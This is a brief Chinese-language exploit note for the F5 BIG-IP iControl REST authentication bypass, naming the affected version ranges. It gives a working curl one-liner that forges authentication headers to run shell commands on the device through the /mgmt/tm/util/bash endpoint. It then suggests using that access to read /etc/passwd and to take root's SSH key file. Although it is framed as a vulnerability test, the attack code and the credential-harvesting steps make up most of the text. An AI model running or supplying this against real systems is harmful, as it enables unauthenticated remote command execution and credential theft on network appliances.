在 16.1.2.2 之前的 F5 BIG-IP 16.1.x 版本、15.1.5.1 之前的 15.1.x 版本、14.1.4.6 之前的 14.1.x 版本、13.1.5 之前的 13.1.x 版本以及所有 12.1.x 和 11.6.x 版本中,未披露的请求可能绕过 iControl REST 身份验证。
使用以下 cURL 单行命令测试此漏洞。
curl -k --header "Host: 127.0.0.1" --header "Authorization: Basic YWRtaW46YWRtaW4=" --header "X-F5-Auth-Token: asdf" --header "Connection: X-F5-Auth-Token" --header "Content-Type: application/json" https://$IPADDRESS/mgmt/tm/util/bash -d '{"command":"run","utilCmdArgs":"-c id"}'
Authorization 字段可以是任意 base64 编码的值。上面的示例使用 admin:admin。这些并不需要是有效的凭据,如果服务器存在漏洞,任何 base64 编码的值都能生效。
如果上述命令返回 ID,您可以尝试多种操作,例如使用 'cat /etc/passwd' 读取 /etc/passwd,或尝试使用 'cat /root/.ssh/identity' 抓取 root 的 SSH 证书。